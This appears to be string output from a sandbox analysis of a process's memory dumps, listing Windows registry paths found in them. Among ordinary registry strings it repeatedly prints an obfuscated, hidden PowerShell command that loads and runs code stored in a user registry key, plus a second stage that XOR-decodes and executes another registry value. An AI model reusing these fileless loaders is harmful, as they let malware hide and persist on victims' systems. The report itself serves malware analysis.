"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005040.00000000.196618.01160000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00005040.00000000.196618.056C0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005040.00000000.196618.07BB2000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005040.00000001.198541.01160000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000001.198541.01160000.00000004.mdmp "='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000001.198541.01160000.00000004.mdmp, "Registry\Machine\Software\Classes\TypeLib\{E34CB9F1-C7F7-424C-BE29-027DCC09363A}" in Source: 00000000-00005040.00000001.198541.01160000.00000004.mdmp, "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005040.00000001.198541.04EC0000.00000004.mdmp, "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00005040.00000001.198541.04EC0000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005040.00000001.198541.07BB2000.00000004.mdmp, " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000001.198541.07BB2000.00000004.mdmp, "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005040.00000001.198541.09830000.00000004.mdmp, "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005040.00000001.198541.09830000.00000004.mdmp, "--headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000001.198541.09830000.00000004.mdmp, " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000001.198541.09830000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005040.00000002.200458.01160000.00000004.mdmp, " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000002.200458.01160000.00000004.mdmp, "='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000002.200458.01160000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{E34CB9F1-C7F7-424C-BE29-027DCC09363A}" in Source: 00000000-00005040.00000002.200458.01160000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005040.00000002.200458.07BB2000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000002.200458.07BB2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005040.00000002.200458.09830000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00005040.00000002.200458.09830000.00000004.mdmp "--headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000002.200458.09830000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000002.200458.09830000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 001" in Source: 00000000-00005040.00000003.205900.01160000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005040.00000003.205900.01160000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.01160000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{E34CB9F1-C7F7-424C-BE29-027DCC09363A}" in Source: 00000000-00005040.00000003.205900.01160000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005040.00000003.205900.01351000.00000020.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005040.00000003.205900.04EC0000.00000004.mdmp "Read3HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00005040.00000003.205900.04EC0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005040.00000003.205900.07BB2000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.07BB2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005040.00000003.205900.09830000.00000004.mdmp "--headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.09830000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.098C3000.00000004.mdmp "ments>--headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.098C3000.00000004.mdmp " --headless C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$kewofmeyrmasjq854='kiemsajef834eyrmasjq';$gb=(gi ('HKCU:'+'\Software\kewofmeyrmasjq768')).('Get'+'Value').Invoke('dfj');$wuemasgqwuemasgq120=259;.([scriptblock]::Create($gb))"" in Source: 00000000-00005040.00000003.205900.09924000.00000004.mdmp "kiemsajef408worskeu=$null;$eyrmasjqworskeu128=@('worskeu177worskeu','worskeu39kewofm','eyrmasjqwuemasgq494');$kiemsajefworskeu28=789;$bv=(gi 'HKCU:\Software\kewofmeyrmasjq768').('Get'+'Value').Invoke('aqo');$worskeu805eyrmasjq='kewofmkiemsajef134'+'-'+'worskeukewofm411';$kewofm709wuemasgq='kewofm63kewofm'+'-'+'worskeu714kewofm';$kiemsajefwuemasgq366=$null;$xo=82;$wuemasgqeyrmasjq450=[math]::Round(15.932,2);$cv=@();$kiemsajefworskeu550='worskeu392kewofm';0..([math]::Floor($bv.Length/2)-1)|%{$cv+=[byte]([Convert]::ToByte($bv.Substring($_*2,2),16)-bxor$xo)};$eyrmasjqworskeu45=777;$kewofm502eyrmasjq=[int]104;$za=[Text.Encoding]::ASCII.GetString($cv);$worskeueyrmasjq310=$null;.([scriptblock]::Create($za))" in Source: 00000000-00005040.00000003.205900.09953000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005040.00000003.205900.6E851000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00005040.00000003.205900.6E851000.00000020.mdmp "HKLM\" in Source: 00000000-00005040.00000003.205900.6E851000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005040.00000003.205900.6E851000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005040.00000003.205900.6E851000.00000020.mdmp